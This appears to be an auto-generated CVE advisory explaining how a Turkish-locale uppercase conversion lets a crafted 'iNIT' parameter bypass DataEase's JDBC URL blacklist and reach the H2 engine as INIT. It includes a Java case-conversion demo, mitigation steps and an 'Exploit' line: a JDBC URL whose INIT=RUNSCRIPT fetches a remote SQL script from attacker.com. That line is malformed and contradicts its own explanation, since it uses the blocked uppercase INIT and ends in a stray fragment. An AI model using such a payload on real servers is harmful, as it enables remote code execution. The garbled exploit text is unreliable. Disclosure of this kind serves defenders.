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How the mentioned CVE works
This vulnerability exploits a discrepancy in how Java handles case conversion across different locales. The core issue lies in DataEase’s JDBC URL validation logic, which uses `String.toUpperCase()` without specifying a Locale. This method relies on the JVM’s default runtime locale. In a Turkish (tr_TR) environment, the lowercase letter `i` is converted to the dotted capital `İ` (U+0130) rather than the standard ASCII `I` (U+0049). Simultaneously, the underlying H2 JDBC engine normalizes all URL parameters using Locale.ENGLISH, which converts characters to the standard ASCII set. An attacker can craft a malicious JDBC parameter string, such as iNIT, which passes through DataEase’s security filter because the uppercase version becomes İNIT, bypassing blacklist checks for INIT. However, when the URL reaches the H2 engine, it is normalized to `INIT` using English locale rules, allowing dangerous parameters to be processed. This effectively allows attackers to smuggle parameters like `INIT=RUNSCRIPT` or other H2-specific commands past DataEase’s validation. The flaw is confirmed exploitable in real deployments with Turkish regional settings, leading to potential remote code execution or data compromise. The issue is fixed in version 2.10.20 by ensuring consistent locale handling during validation.
dailycve form
Platform: DataEase
Version: 2.10.19 below
Vulnerability: Locale Handling Flaw
Severity: Critical
date: 03/20/2026
Prediction: 03/20/2026
What Undercode Say:
Simulating the locale mismatch vulnerability
Check system default locale
echo $LANG
Java code snippet demonstrating the issue
cat > LocaleExploit.java <<EOF
import java.util.Locale;
public class LocaleExploit {
public static void main(String[] args) {
String malicious = "iNIT";
Locale turkish = new Locale("tr", "TR");
System.out.println("Turkish uppercase: " + malicious.toUpperCase(turkish));
System.out.println("English uppercase: " + malicious.toUpperCase(Locale.ENGLISH));
}
}
EOF
javac LocaleExploit.java && java LocaleExploit
Exploit:
Example malicious JDBC URL bypassing filter in Turkish locale jdbc:h2:mem:testdb;MODE=MySQL;INIT=RUNSCRIPT FROM 'http://attacker.com/payload.sql'//iNIT=FROM The "iNIT" parameter bypasses the filter but H2 reads it as "INIT"
Protection from this CVE
- Upgrade DataEase to version 2.10.20 or later.
- Enforce `Locale.ROOT` or `Locale.ENGLISH` explicitly in all case conversion operations.
- Implement strict allow-listing for JDBC URL parameters instead of blacklisting.
- Set JVM default locale to `en_US` if Turkish locale is not required:
-Duser.language=en -Duser.region=US.
Impact
Successful exploitation allows an attacker to inject arbitrary H2 database commands, leading to unauthorized data access, remote code execution, and complete compromise of the DataEase application and its underlying data.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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